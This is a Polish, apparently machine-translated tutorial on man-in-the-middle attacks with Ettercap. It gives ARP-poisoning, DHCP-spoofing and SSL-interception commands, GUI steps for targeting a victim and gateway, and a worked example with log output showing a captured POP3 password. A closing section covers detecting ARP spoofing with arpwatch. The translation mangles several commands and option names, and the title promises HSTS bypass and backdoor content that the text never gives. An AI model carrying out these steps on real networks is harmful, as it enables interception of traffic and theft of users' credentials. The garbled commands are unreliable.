Instrukcje dla Ettercap: atak man-in-the-middle (MitM), przechwytywanie haseł, obejście HSTS, podstawianie danych w locie, użycie niestandardowych filtrów i wtyczek, przechwytywanie BeEF, infekcja backdoorem. Instrukcje Ettercapa: Atak typu „man-in-the-middle” (

Dom / Laptopy

etercap NG-0.7.3— Wielozadaniowy sniffer/filtr treści dla ataków typu man-in-the-middle

opcje wąchania:

ZJEDNOCZONE— wącha wszystkie pakiety przesyłane kablem. (ip_forwarding w jądrze jest zawsze wyłączone, a przekazywanie odbywa się za pomocą ettercap)

Uwaga: używaj ettercap na bramkach TYLKO w TRYBIE NIEOBRAŻAJĄCYM. pamiętaj o ponownym włączeniu ip_forwarding!!

ZMOSTOWANY, wykorzystuje dwa interfejsy sieciowe i przekazuje ruch z jednego do drugiego, jednocześnie wykonując wąchanie i filtrowanie treści.

Uwaga: nie używaj go na bramkach!!!

etercap [OPCJE] [CEL 1] [TARGET2]

CEL jest w formie MAC/IP/PORTY

np. „//80” oznacza DOWOLNY adres MAC, DOWOLNY adres IP i TYLKO port 80

Uwaga: odwróć dopasowanie TARGET, dodając opcję -R

Opcje

-M, --mitm Atak MITM-a: arp(,) Ta metoda implementuje atak mitm zatrucia ARP. icmp(MAC/IP) Ten atak wykorzystuje przekierowanie ICMP. Wysyła sfałszowaną wiadomość przekierowania icmp do hostów w sieci LAN, udając lepszą trasę dla Internetu.

Przykład: -M icmp:00:11:22:33:44:55/10.0.0.1 (przekieruje wszystkie połączenia przechodzące przez tę bramę.)

DHCP(ip_pool/netmask/dns) Ten atak wykorzystuje fałszowanie protokołu DHCP. Udaje serwer DHCP i próbuje wygrać wyścig z prawdziwym, aby zmusić klienta do zaakceptowania odpowiedzi atakującego.

M dhcp:192.168.0.30,35,50-60/255.255.255.0/192.168.0.1 (odpowiedź na ofertę i żądanie DHCP.)

M dhcp:/255.255.255.0/192.168.0.1 (odpowiadaj tylko na żądanie DHCP. (nie podawaj adresu IP, a jedynie zmień informacje o routerze w żądaniu/potwierdzeniu dhcp)

Uwaga: musisz określić pulę IP DARMOWYCH adresów, które będą używane.!!!

port(,) Ten atak wykorzystuje kradzież portów. Ta technika jest przydatna do wąchania w przełączanym środowisku, gdy zatruwanie ARP nie jest skuteczne. Uwaga: tej metody mitm należy używać tylko na przełącznikach Ethernet. Uwaga: NIE można używać tej metody w trybie only-mitm -o, --only-mitm(kolejny sniffer do wąchania ruchu) -F, --pcapfilter Ustaw filtr przechwytywania w bibliotece pcap. Uwaga: ettercap nie będzie mógł przesyłać dalej porwanych pakietów. -B, --most BRIDGED wąchanie (człowiek w środku warstwy fizycznej. Jest całkowicie ukryty) WĄCHANIE OFF-LINE -R, --Czytać -w, --pisać OPCJE INTERFEJSU UŻYTKOWNIKA -T, -tekst -Q, -cichy -S, --scenariusz

ettercap -T -s „lq” wypisze listę hostów i zakończy działanie
ettercap -T -s ' S(300)olqq’ zbierze informacje przez 5 minut, wydrukuje

listę profili lokalnych i wyjdź

-C, --kursy -G, --gtk -D, --demonizować OPCJE OGÓLNE -I, —iface -I, --iflista Opcja ta spowoduje wydrukowanie listy wszystkich dostępnych interfejsów sieciowych -N, --maska ​​sieci -R, --wywrócony -T, --proto Podsłuchuj tylko pakiety PROTO (PROTO może mieć wartość „tcp”, „udp” lub „all” w obu przypadkach) -z, -cichy Nie wykonuj początkowego skanowania ARP -P, --nopromisc( Jeśli chcesz wąchać tylko swoje połączenia )
-ty, --nieobraźliwy( odpowiedzialność za przekazywanie adresów IP spoczywa na jądrze. ) Uwaga: przydatne, jeśli chcesz uruchomić wiele instancji ettercap. NB nie będzie możliwości modyfikowania pakietów w locie. NB przydatne, jeśli chcesz uruchomić ettercap na bramce, -J --load-hosts, -k --zapisz-hosty, -P --wtyczka, -F --filtr, -W (--klucz-wep ) do odszyfrowania pakietów WiFi.
N:T:KLUCZ. Gdzie N to długość klucza wep (64, 128 lub 256), T to typ ciągu („s” to ciąg znaków, a „p” to hasło).
przykład:
--wep-key 128:p:sekret --wep-key 128:s:ettercapwep0, —wep-key '64:s:\x01\x02\x03\x04\x05′ -A --konfiguracja, OPCJE WIZUALIZACJI -mi --wyrażenie regularne, (Obsługuj tylko pakiety pasujące do wyrażenia regularnego.) (-V-wizualnyklątwaascii,tekstebcdyk,) HTML,, utf8-D --dns, Rozwiąż adresy IP na nazwy hostów.-MI --ext-nagłówki, Drukuj rozszerzone nagłówki-Q ) --bardzo cichy( Nie drukuj użytkowników i haseł w trakcie ich gromadzenia. Przechowuj je tylko w profilach., OPCJE LOGOWANIA -L --dziennik Rejestruj wszystkie pakiety w plikach binarnych. Pliki te można analizować etterlog Uwaga:, utwórz LOGFILE.ecp (dla pakietów) i LOGFILE.eci (dla informacji). -l --informacje o logu, rejestruje tylko informacje pasywne oraz użytkowników i hasła dla każdego hosta. Plik zostanie nazwany LOGFILE.eci -M --log-msg Przechowuje w, wszystkie wiadomości użytkownika wydrukowane przez ettercap.-C -o, --kompres Skompresuj plik dziennika za pomocą algorytmu gzip --tylko-lokalne, Przechowuje informacje o profilach należących wyłącznie do hostów w sieci LAN. -O --tylko-zdalne, OPCJE STANDARDOWE

-U

--aktualizacja Przykłady etercap -Tp Użyj interfejsu konsoli i nie przełączaj interfejsu w tryb promisc. Zobaczysz tylko swój ruch. etercap -Tzq Załaduje listę hostów z /tmp/victims i przeprowadzi atak zatrucia ARP przeciwko dwóm celom. Lista zostanie połączona z celem, a wynikowa lista zostanie wykorzystana do zatrucia ARP. ettercap -T -M arp // // Wykonaj atak zatrucia ARP na wszystkie hosty w sieci LAN. Bądź ostrożny!! ettercap -T -M arp:zdalny /192.168.1.1/ /192.168.1.2-10/ Wykonaj zatrucie ARP na bramie i hoście w sieci LAN pomiędzy 2 a 10. Opcja „zdalna” jest potrzebna, aby móc wąchać zdalny ruch hostów przechodzący przez bramę. ettercap -Tzq //110 Wąchaj tylko protokół pop3 ze wszystkich hostów. ettercap -Tzq /10.0.0.1/21,22,23 Wąchaj połączenia telnet, ftp i ssh do 10.0.0.1. lista ettercap -P Drukuje

lista wszystkich dostępnych wtyczek

Atak Ssl Mit

Aby ponownie wygenerować plik certyfikatu:

openssl genrsa -out etter.ssl.crt 1024
openssl req -nowy -key etter.ssl.crt -out tmp.csr
openssl x509 -req -dni 1825 -in tmp.csr -signkey etter.ssl.crt -out tmp.new
cat tmp.new >> etter.ssl.crt
rm -f tmp.nowy tmp.csr

0) połącz się z siecią:)
1.1) cd /tmp
1) #ettercap -G [ --wep-key 128:p:secret]
2) Wąchanie -> Ujednolicone wąchanie (NIC ath0)
3) Start->Rozpocznij wąchanie
4) Hosty -> Skanuj w poszukiwaniu hostów
5) Hosty -> Lista hostów
6) wybierz i dodaj do celu 1 i celu 2
7) Mitm -> zatrucie arpem; powąchaj zdalne połączenie
8) Rejestrowanie -> Rejestruj wszystkie pakiety i informacje
9) Mitm -> Zatrzymaj atak Mitm
10) Start -> Przestań wąchać

ettercap zastępuje prawdziwy certyfikat SSL swoim własnym

W tym artykule dowiesz się, jak przechwytywać ruch sieć lokalna za pomocą Ettercapa. Wykorzystując do tego ataki MITM (Man In Środek ataki – ataki typu man-in-the-middle).

– narzędzie do analizy bezpieczeństwa typu open source sieci komputerowe. Ich głównym celem są ataki MITM (ataki Man In The Middle). Posiada możliwość wąchania aktywnych połączeń, filtrowania treści na bieżąco i wiele innych ciekawe możliwości. Obsługuje zarówno ataki na protokoły aktywne, jak i pasywne oraz zawiera dużą liczbę funkcji analizy sieci i hostów.

Więcej szczegółowe informacje, można znaleźć pod adresem

Instalacja/konfiguracja Ettercap

Możesz pobrać i zainstalować Ettercap ze źródła - . Alternatywnie możesz użyć następującego polecenia:

# apt-get install ettercap-gtk ettercap-common

Znajdujemy w nim te linie i odkomentujmy je:

# jeśli używasz iptables: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING - i %iface -p tcp --dport %port -j PRZEKIEROWANIE --do-portu %rport"

# jeśli używasz iptables:

redir_command_on = „iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j PRZEKIEROWANIE --do-portu %rport"

redir_command_off = „iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j PRZEKIEROWANIE --do-portu %rport"

Po wykonaniu wszystkich powyższych operacji uruchom Ettercap. Jednak dla niektórych osób, w tym dla mnie, Ettercap nie będzie działać. Błędy typu „ WYŚLIJ BŁĄD L3„. Aby zapobiec pojawianiu się takich błędów, użyj następującego polecenia:

# echo "1" > /proc/sys/net/ipv4/ip_forward # cat /proc/sys/net/ipv4/ip_forward 1

# echo "1" > /proc/sys/net/ipv4/ip_forward

# cat /proc/sys/net/ipv4/ip_forward

Teraz wszystko powinno działać poprawnie i nie powinny pojawić się żadne błędy.

Zatrucie ARP

Wcześniej opisano, czym jest „” i dlaczego jest potrzebne. Tutaj zostanie również opisane, jak zaimplementować to za pomocą Ettercap.

Najpierw spójrz na architekturę sieci (patrz rysunek poniżej), która będzie używana. Jest to konieczne, abyś dobrze rozumiał, co pochodzi skąd:

Uruchom Ettercapa:

Przed nami pojawi się okno aplikacji, jak pokazano poniżej:

Kliknij przycisk Powąchać-> Ujednolicone wąchanie. Następnie wybierz używany interfejs. Mam to eth0:

W górnym menu naciśnij przyciski Zastępy niebieskieSkanuj w poszukiwaniu hostów:

Teraz kliknijmy ponownie Zastępy niebieskieLista gospodarzy. Pojawi się okno jak na poniższym rysunku:

Tutaj musimy wybrać cele, tj. wybierz maszynę, która będzie działać jako „ofiara” i brama. Jak widać z architektury sieci, z której korzystamy, „ofiarą” jest maszyna Adres IP = 192.168.1.3. No cóż, jako bramka Adres IP = 192.168.1.1. Dlatego wybierz 192.168.1.3 i naciśnij przycisk Dodaj do celu 1. Teraz kliknij 192.168.1.1 i naciśnij przycisk Dodaj do celu 2.

Trzask OK. Pozostaje tylko go uruchomić. Aby to zrobić, kliknij przycisk StartZacznij wąchać.

Rozpoczęło się wąchanie. Pozostaje tylko poczekać, aż użytkownik wprowadzi swoje dane, np. ze swojego konta pocztowego.

Program został pomyślany jako analizator ruchu w przełączanych sieciach LAN, ale z czasem stał się uniwersalnym narzędziem do przechwytywania, analizowania i rejestrowania pakietów sieciowych. Może pracować w sieciach z przełącznikami i koncentratorami oraz posiada wiele nietypowych właściwości. W szczególności obsługuje zarówno aktywną, jak i pasywną analizę dużej liczby protokoły sieciowe, w tym te, które korzystają z szyfrowania. Istnieją narzędzia do analizy topologii sieci i identyfikacji zainstalowanych systemów operacyjnych.

Aby osiągnąć swoje cele, Ettercap wykorzystuje 5 różne metody analiza: filtrowanie IP i MAC, przechwytywanie ARP oraz dwie odmiany tego ostatniego - Smart-ARP i Public-ARP.

W trybie filtrowania IP pakiety są sprawdzane pod kątem zgodności z kombinacją adresu IP/portu (nadawca i odbiorca). W trybie filtrowania adresów MAC sprawdzane są adresy MAC nadawcy i odbiorcy (jest to wygodne przy nawiązywaniu połączeń przez bramkę). W trybie przechwytywania protokołu ARP na wybrane dwa węzły przełączanej sieci przeprowadzany jest atak „niewidzialnego man-in-the-middle”. Osiąga się to poprzez celowe uszkodzenie pamięci podręcznej ARP hostów, powodując automatyczne przekazywanie ruchu. Tryby Smart-ARP i Public-ARP są implementowane w podobny sposób, ale ich celem jest przechwytywanie ruchu pomiędzy węzłem ofiary a wszystkimi innymi węzłami. W pierwszym przypadku określana jest lista hostów, w drugim program wysyła pakiety rozgłoszeniowe ARP.

Funkcje programu:

  • może modyfikować przechodzące pakiety (w obu kierunkach);
  • potrafi analizować połączenia protokołów SSH1 i HTTPS (nawet jeśli połączenie jest nawiązywane poprzez serwer proxy);
  • możliwość podłączenia modułów zewnętrznych;
  • potrafi odszyfrować nazwy użytkowników i hasła dla dużej liczby protokołów sieciowych (w tym Telnet, FTP, POP, SSH1, SMB, LDAP, NFS, IMAP4, VNC i wiele innych);
  • może dodawać i usuwać pakiety w ramach sesji;
  • może pasywnie skanować sieć (bez wysyłania pakietów) i niszczyć połączenia.

Program nie wymaga wstępnej konfiguracji. Możesz ustawić wszystkie niezbędne opcje w wiersz poleceń lub podłącz zewnętrzny plik konfiguracyjny.

Po uruchomieniu program wysyła żądanie ARP dla każdego adresu IP w sieci lokalnej. Lista możliwych adresów IP jest ustalana poprzez analizę własnego adresu i maski, a po otrzymaniu odpowiedzi ARP tworzona jest lista hostów działających w sieci. Należy zachować ostrożność, jeśli maska ​​sieci określa sieć klasy B (255.255.0.0), ponieważ w tym przypadku program będzie zmuszony wysłać 65025 żądań. Ich przetworzenie zajmie dużo czasu, a poza tym taką aktywność można szybko wykryć.

Z programu można korzystać w dwóch trybach: interaktywnym (graficznym) i nieinteraktywnym. Interfejs graficzny programu oparty jest na bibliotece ncurses. Tryb nieinteraktywny przydaje się, jeśli program jest wywoływany ze skryptu w celu zbierania danych w tle.

Składnia wywoływania programu jest następująca:

# etercap [ opcje][IP-miejsce docelowe:port][IP-nadawca:port][MAC odbiorcy][MAC nadawcy]

Opcje wyboru metody analizy:

-a, --arpsniff Przechwytywanie ARP

-s, --powąchaj Filtrowanie IP

-m, --macsniff Filtrowanie adresów MAC

Opcje ogólnego przeznaczenia:

-N, --proste- tryb nieinteraktywny.

-z, --cichy— tryb „cichy” (bez masowych żądań ARP przy uruchomieniu).

-Och, --bierny— pasywne zbieranie informacji.

-b, --broadping— użycie rozgłoszeniowych żądań ping zamiast żądań ARP.

-D, --opóźnienie<towary drugiej jakości> — określa opóźnienie (w sekundach) pomiędzy dwiema odpowiedziami ARP.

-Z, --opóźnienie burzy<mikrosekundy> — ustawia opóźnienie (w mikrosekundach) pomiędzy żądaniami ARP podczas początkowego „wtargnięcia” do sieci.

-S, -- parodia<IPADpec> — określa fałszywy adres IP używany podczas skanowania sieci.

-H, --hosty<IP-aadres1 [,IP-aDpec2] . . .> — określa węzły skanowane przy uruchomieniu.

-d, --dontresolve- nie konwertuj adresów IP na nazwy domen przy uruchomieniu.

-i, --iface<interfejs> — ustawia interfejs skanowania.

-n, --maska ​​sieci<maska> — ustawia maskę definiującą sieć do przeskanowania.

-e, --etterconf<plik> — określa plik konfiguracyjny, z którego odczytywane są opcje wiersza poleceń.

-t, --typ łącza— wymusza na programie sprawdzenie, czy w sieci znajduje się przełącznik.

-j, --loadhosts<plik> — określa plik, z którego ładowana jest lista węzłów.

-k, --zapisz hosty— zapisanie listy węzłów w pliku.

-v, --wersja- powoduje, że program sprawdza dostępność zaktualizowanej wersji Ettercap.

-h, --pomocy— wyjście pomocy składniowej.

Opcje trybu cichego:

-u, --udp— przechwytuje tylko pakiety UDP.

-R, --reverse— analiza wszystkich połączeń oprócz tego określonego w wierszu poleceń.

-Och, --bierny— pasywny tryb skanowania.

-р, --wtyczka<moduł> — uruchomienie zewnętrznego modułu wtyczki.

-l, --lista— uzyskanie listy wszystkich węzłów sieci lokalnej.

-C, --zbieraj— uzyskanie listy wszystkich kont hostów i haseł określonych w wierszu poleceń.

-f, --odcisk palca<węzeł> - analiza typu system operacyjny dla danego węzła.

-x, — widok szesnastkowy— wyświetla dane w formacie szesnastkowym.

-L, --logtoplik— zapis danych do pliku dziennika.

-q, --cichy— działać w tle.

-w, --nowycert- Tworzenie nowego pliku certyfikatu na potrzeby nieświadomego ataku typu man-in-the-middle na sesje HTTPS.

-F, --filtr<plik> — ładowanie reguł filtrowania z podanego pliku.

-с, --sprawdź- powoduje, że program sprawdza, czy ktoś inny nie próbuje przechwycić jego własnego ruchu.

Kiedy wywołujesz program bez opcji (a dokładniej bez opcji -N), działa on w trybie interaktywnym. Okno programu podzielone jest na trzy części. U góry wyświetlony zostanie schemat połączeń przedstawiający dwa współdziałające ze sobą węzły (ta część okna może początkowo być pusta). Środkowa część okna zawiera listę węzłów znalezionych w sieci lokalnej. Dokładniej, wyświetlane są dwie identyczne listy, z których można wybrać dwa węzły, aby utworzyć schemat połączeń. Aby wybrać węzeł w lewej kolumnie, najedź na niego kursorem i kliknij . Następnie kliknij<Таb>aby przejść do prawej kolumny i powtórzyć procedurę. W rezultacie na górze okna pojawi się schemat połączeń, a w środkowej części wyświetlona zostanie lista zainstalowanych połączeń. w tej chwili pomiędzy dwoma węzłami, wskazując port źródłowy i docelowy, jak pokazano na poniższym rysunku.

Zostanie wyświetlona dolna część okna dodatkowe informacje o wybranych węzłach. Aby wyświetlić listę dostępnych poleceń, kliknij , powodując wyświetlenie okna pomocy.0

Gdy połączenie będzie już pod kontrolą, możesz rozpocząć analizę danych. Dopuszczalne jest kierowanie przechwyconych danych do pliku, ingerowanie w sesję oraz wykonywanie wielu innych zadań, łącznie z niszczeniem sesji.

Oto kilka przykładów demonstrujących możliwości uruchomienia programu Ettercap. W pierwszym przykładzie program działa interaktywnie i zbiera dane pasywnie.

Fałszowanie ARP(ARP-poisoning) to technika ataku sieciowego stosowana głównie w sieci Ethernet, ale możliwa również w innych sieciach korzystających z protokołu ARP, polegająca na wykorzystaniu wad protokołu ARP i pozwalająca przechwytywać ruch pomiędzy węzłami znajdującymi się w ramach tej samej transmisji domena.

W artykule szczegółowo opisano technikę ataku Fałszowanie ARP na przykładzie ataku przeprowadzonego przy użyciu programu ettercap; rozważane są metody wykrywania i zapobiegania atakom ARP, takie jak monitorowanie aktywności ARP za pomocą arpwatch, stosowanie specjalnych poprawek w celu uodpornienia systemów, wykorzystanie sieci VLAN i PPPoE. Pokazano, jak rozwiązać problemy bezpośrednio związane z protokołem ARP: wyszukiwanie komputerów przy użyciu znanego adresu MAC oraz wykrywanie nowych komputerów w sieci.

Protokół ARP i ataki z jego wykorzystaniem

Co to jest ARP i dlaczego jest potrzebny?

Protokół ARP służy do konwersji adresów IP na adresy MAC. Najczęściej mówimy o konwersji na adresy Ethernet, ale ARP jest również stosowany w sieciach innych technologii: Token Ring, FDDI i innych.

Algorytm ARP

Protokół można zastosować w następujących przypadkach:

  1. Gospodarz A chce wysłać pakiet IP węzeł B, znajdujący się z nim w tej samej sieci;
  2. Gospodarz A chce wysłać pakiet IP węzeł B, kto jest z nim w różne sieci i korzysta w tym celu z usług router r.

W każdym z tych przypadków węzeł A Tylko w pierwszym przypadku do określenia adresu MAC zostanie użyty protokół ARP węzeł B, a w drugim - w celu ustalenia adresu MAC router r. W tym drugim przypadku pakiet zostanie przesłany do routera w celu dalszego przekazania.

Poniżej dla uproszczenia rozważymy pierwszy przypadek, gdy następuje wymiana informacji pomiędzy węzłami znajdującymi się bezpośrednio w tej samej sieci. (Przypadek, gdy pakiet jest adresowany do hosta znajdującego się za routerem, różni się tylko tym, że w pakietach przesyłanych po zakończeniu translacji ARP używany jest adres IP odbiorcy, ale adres MAC routera, a nie odbiorcy.)

Problemy z ARP-em

Protokół ARP jest całkowicie niepewny. Nie ma żadnych sposobów weryfikacji autentyczności pakietów, ani żądań, ani odpowiedzi. Sytuacja staje się jeszcze bardziej skomplikowana, gdy można skorzystać z bezpłatnego ARP.

Spontaniczne ARP- tak zachowuje się ARP, gdy odpowiedź ARP jest wysyłana, gdy nie ma takiej szczególnej potrzeby (z punktu widzenia odbiorcy). Spontaniczna odpowiedź ARP to pakiet odpowiedzi ARP wysłany bez żądania. Służy do wykrywania konfliktów adresów IP w sieci: gdy tylko stacja otrzyma adres poprzez DHCP lub adres zostanie przypisany ręcznie, wysyłana jest bezpłatna odpowiedź ARP.

Spontaniczny ARP może być przydatny w następujących przypadkach:

  • Aktualizacja tablic ARP, w szczególności w systemach klastrowych;
  • Informowanie przełączników;
  • Powiadomienie o włączeniu interfejsu sieciowego.

Chociaż spontaniczny protokół ARP jest skuteczny, jest szczególnie niebezpieczny, ponieważ może przekonać zdalnego hosta, że ​​adres MAC systemu w tej samej sieci uległ zmianie i wskazać, który adres jest teraz używany.

Fałszowanie ARP

Przed wykonaniem fałszowania ARP w tablicy ARP węzłów A I B znajdują się wpisy zawierające wzajemne adresy IP i MAC. Informacje wymieniane są bezpośrednio pomiędzy węzłami A i B. (zielona strzałka)

Podczas fałszowania protokołu ARP komputer C przeprowadzając atak, wysyła odpowiedzi ARP (bez odbierania żądań):

  • węzeł A: z adresem IP hosta B i adres MAC hosta C;
  • węzeł B: z adresem IP hosta A i adres MAC hosta C.

Ponieważ komputery obsługują bezpłatny ARP, modyfikują własne tablice ARP i umieszczają tam wpisy zamiast rzeczywistych adresów MAC komputerów A I B to adres MAC komputera C. (czerwone strzałki)

Po zakończeniu ataku kiedy komputer A chce wysłać pakiet do komputera B, znajduje wpis w tablicy ARP (odpowiada on komputerowi C) i na tej podstawie określa adres MAC odbiorcy. Pakiet wysłany na ten adres MAC dociera do komputera C zamiast odbiorcy. Komputer C następnie przekazuje pakiet osobie, dla której jest naprawdę przeznaczony – tj. komputer B. (niebieskie strzałki)

Narzędzia do wykonywania spoofingu ARP

Obecnie istnieje kilka narzędzi do wykonywania fałszowania ARP, działających zarówno w systemie operacyjnym Linux, jak i Windows.

Najbardziej znane:

  • Ettercap
  • Kain i Abel
  • dsniff
  • arp-sk

Wszystkie wymienione programy są rozpowszechniane bezpłatnie.

Wykonywanie fałszowania ARP za pomocą ettercap

[Przykład wykonania ataku za pomocą ettercap.] Przyjrzyjmy się jak wykonać powyższy atak za pomocą ettercap.

  • Co dzieje się na maszynie A.
  • Co dzieje się na maszynie B.
  • Co dzieje się na maszynie C.

Przyjrzyjmy się bliżej, jak przeprowadzane jest fałszowanie protokołu ARP. Jako narzędzia użyjemy programu ettercap, ale inne narzędzia do wykonywania fałszowania ARP działają w podobny sposób.

  • Maszyna A - hostA - 192.168.15.201 - 00:04:75:75:46:B1
  • Maszyna B - hostB - 192.168.15.254 - 00:0A:01:D4:D1:39
  • Maszyna C - hostC - 192.168.15.200 - 00:0A:01:D4:D1:E3

Wykonuje atak gospodarzC przeciwko węzłam gospodarzA I gospodarzB.

Zainstaluj ettercap, korzystając z akceptowanej metody systemowej:
hostC%# apt-get install ettercap
Wykonaj atak na hosta A i hosta B:
%# ettercap -T -M arp -L log /192.168.15.201/ /192.168.15.254/
Opcje oznaczają:

  • -T - użyj interfejsu tekstowego (konsoli);
  • -M arp - użyj modułu fałszowania ARP, aby przeprowadzić atak;
  • -L log - zapisz dziennik przechwytywania do plików o nazwie log.*;

Adresy IP komputerów, na które należy przeprowadzić atak polegający na fałszowaniu protokołu ARP, podawane są jako argumenty.

Niech np. węzeł A uzyska w tym momencie dostęp do węzła B za pomocą protokołu POP3, co jest klasycznym przykładem niebezpiecznego, ale bardzo powszechnego protokołu - sprawdź pocztę.

hostA %# nc 192.168.15.254 110
Użytkownik UŻYTKOWNIK
+OK
PRZESUŃ hasło
+OK
LISTA
+OK
.

Dane przesyłane pomiędzy klientem hostA a serwerem hostB przechodzą przez węzeł C. Są one wyświetlane na ekranie i zapisywane w plikach. Po zakończeniu ataku musisz nacisnąć q, aby wyjść z ettercap. Program wysyła pakiety ARP w celu przywrócenia starych wpisów w pamięci podręcznej ARP węzłów, tak aby komunikowały się ze sobą bezpośrednio. W bieżącym katalogu powinny pojawić się dwa pliki, zaczynając od słowa podanego po przełączniku -L podczas wywoływania etercap:

%# dziennik ls.*
log.eci
log.ecp

Możesz przeglądać ich zawartość za pomocą programu etterlog zawartego w pakiecie ettercap:

%# etterlog log.eci
etterlog NG-0.7.3 prawa autorskie 2001-2004 ALoR i NaGA
Wersja pliku dziennika: NG-0.7.3
Znacznik czasu: czw. 21 czerwca 12:23:11 2007
Wpisz: LOG_INFO
Odcisk palca systemu operacyjnego 1698 TCP
Odcisk palca dostawcy komputera Mac 7587
2183 znanych usług

Adres IP: 192.168.15.201
Adres MAC: 00:04:75:75:46:B1
...
PRODUCENT: Sohoware
ODLEGŁOŚĆ: 0
TYP: host sieci LAN
ODCISK PALCA:
SYSTEM OPERACYJNY: NIEZNANY
PORT: TCP 110 | pop-3
KONTO: użytkownik
/hasło
(192.168.15.201)
==================================================

Jak widać, hasło zostało pomyślnie przechwycone. Zobaczmy jak zmienia się tabela ARP na hoście A (zaatakowanym węźle)

Przed atakiem.

hostA%# arp -an

Podczas ataku.

hostA%# arp -an
? (192.168.15.254) o 00:0A:01:D4:D1:E3 na eth0
? (192.168.15.200) o 00:0A:01:D4:D1:E3 na eth0

Po ataku.

hostA%# arp -an
? (192.168.15.254) o 00:0A:01:D4:D1:39 na eth0
? (192.168.15.200) o 00:0A:01:D4:D1:E3 na eth0

Jeśli spojrzysz na to, co dzieje się na interfejsie eth0 hosta (przez który przeprowadzany jest atak), możesz zobaczyć, że zaraz po rozpoczęciu ataku na interfejs docierają pakiety ARP, które wskazują, że adres MAC maszyny 192.168.15.254 uległ zmianie. Paczki docierają stale. Po zakończeniu ataku adres MAC w pakiecie nagle zmienia się na inny. A potem w ogóle przestają przychodzić.

%# tcpdump -i eth0 arp
08:34:20.231680 odpowiedź arp 192.168.15.254 jest o 00:0a:01:d4:d1:e3 (oui nieznany)
08:34:21.259637 odpowiedź arp 192.168.15.254 jest o 00:0a:01:d4:d1:e3 (oui nieznany)
08:34:22.287591 odpowiedź arp 192.168.15.254 jest o 00:0a:01:d4:d1:e3 (oui nieznany)
08:34:23.315522 odpowiedź arp 192.168.15.254 jest o 00:0a:01:d4:d1:e3 (oui nieznane)
08:34:32.463255 odpowiedź arp 192.168.15.254 jest o 00:0a:01:d4:d1:39 (oui nieznany)
08:34:33.491040 odpowiedź arp 192.168.15.254 jest o 00:0a:01:d4:d1:39 (oui nieznany)
08:34:34.514988 odpowiedź arp 192.168.15.254 jest o 00:0a:01:d4:d1:39 (oui nieznany)

Ta technika gwarantuje, że tablica ARP na ofiarach zostanie przywrócona i nikt nie zauważy ataku.

Metody wykrywania

arpwatch

Program arpwatch monitoruje całą aktywność ARP na określonych interfejsach. Kiedy zauważy anomalie, takie jak zmiana adresu MAC przy zachowaniu adresu IP lub odwrotnie, zgłasza to do syslog.

Instalacja i konfiguracja arpwatcha

Przyjrzyjmy się procedurze instalacji i konfiguracji arpwatch na przykładzie. Systemy Debiana GNU/Linuksa. Instalacja arpwatcha odbywa się w tradycyjny sposób dla dystrybucji:

%# apt-get zainstaluj arpwatch
0 uaktualnionych, 1 nowo zainstalowanych, 0 do usunięcia i 0 niezaktualizowanych.
Trzeba zdobyć 124kB archiwów.
Po rozpakowaniu wykorzystane zostanie 389kB dodatkowej przestrzeni dyskowej.
Pobierz: 1 http://debian.ZLO.ZLO.ZLO etch/main arpwatch 2.1a13-2
Pobrano 124 kB w ciągu 0 s (177 kB/s)
Zaznaczenie wcześniej odznaczonego pakietu arpwatch.
(Czytanie bazy danych... Aktualnie zainstalowanych jest 22406 plików i katalogów.)
Rozpakowywanie arpwatch (z .../arpwatch_2.1a13-2_i386.deb) ...
Konfigurowanie arpwatcha (2.1a13-2)...
Uruchamianie demona monitorowania stacji Ethernet/FDDI: (chown arpwatch /var/lib/arpwatch/arp.dat) arpwatch.

Po zainstalowaniu demona, zostanie on automatycznie uruchomiony. (W innych systemach może być konieczne ręczne uruchomienie.)

%# pomoc ps | grep arpwatch
arpwatch 4810 0,5 0,4 3448 2360 ? S 08:36 0:00 /usr/sbin/arpwatch -u arpwatch -N -p
root 4827 0,0 0,1 2852 712 pkt/6 R+ 08:36 0:00 grep arpwatch

Demon nie posiada żadnych plików konfiguracyjnych. Konfiguracja arpwatcha jest całkowicie zdeterminowana przez zestaw przekazanych mu kluczy. W Debianie GNU/Linux klucze są określone w pliku konfiguracyjnym /etc/default/arpwatch (w FreeBSD - w pliku /etc/rc.conf). Jeśli chcesz zmienić konfigurację arpwatcha (w szczególności sprawić, by nasłuchiwał innych interfejsów), musisz dokonać edycji określony plik:

%# vi /etc/default/arpwatch
%# cat /etc/default/arpwatch
# Opcje globalne dla arpwatch(8).
# Debian: nie zgłaszaj bogonów, nie używaj PROMISC.
ARGS="-N -p"
# Debian: uruchom jako użytkownik `arpwatch. Opróżnij to, aby uruchomić jako root.
RUNAS="arpwatch"

Jeśli konfiguracja została zmieniona, demon musi zostać zrestartowany:

%# /etc/init.d/arpwatch uruchom ponownie

Kiedy demon się uruchamia, odkrywa nowe stacje. Nie jest wykonywana żadna aktywna akcja - po prostu nasłuchuje ruchu ARP. Wykryte węzły są zapamiętywane; arpwatch zgłasza, że ​​w syslogu odkryto nowy węzeł. Demon raportuje także wszystkie wykryte nieprawidłowości w działaniu protokołu ARP w syslogu:

# tail -f /var/log/daemon.log
21 czerwca 08:37:08 s_all@linux2 arpwatch: nowa stacja 192.168.15.200 0:a:1:d4:d1:e3 eth0
21 czerwca 08:37:08 s_all@linux2 arpwatch: nowa stacja 192.168.15.201 0:4:75:75:46:b1 eth0
21 czerwca 08:37:09 s_all@linux2 arpwatch: nowa stacja 192.168.15.254 0:a:1:d4:d1:39 eth0
21 czerwca 08:37:09 s_all@linux2 arpwatch: zmieniono adres Ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
21 czerwca 08:37:11 s_all@linux2 arpwatch: niezgodność sieci Ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
21 czerwca 08:37:12 s_all@linux2 arpwatch: niezgodność sieci Ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
21 czerwca 08:37:13 s_all@linux2 arpwatch: niezgodność sieci Ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

Zwróć uwagę na linię

21 czerwca 08:37:09 s_all@linux2 arpwatch: zmieniono adres Ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

który zgłasza, że ​​host 192.168.15.254 zmienił swój adres MAC.

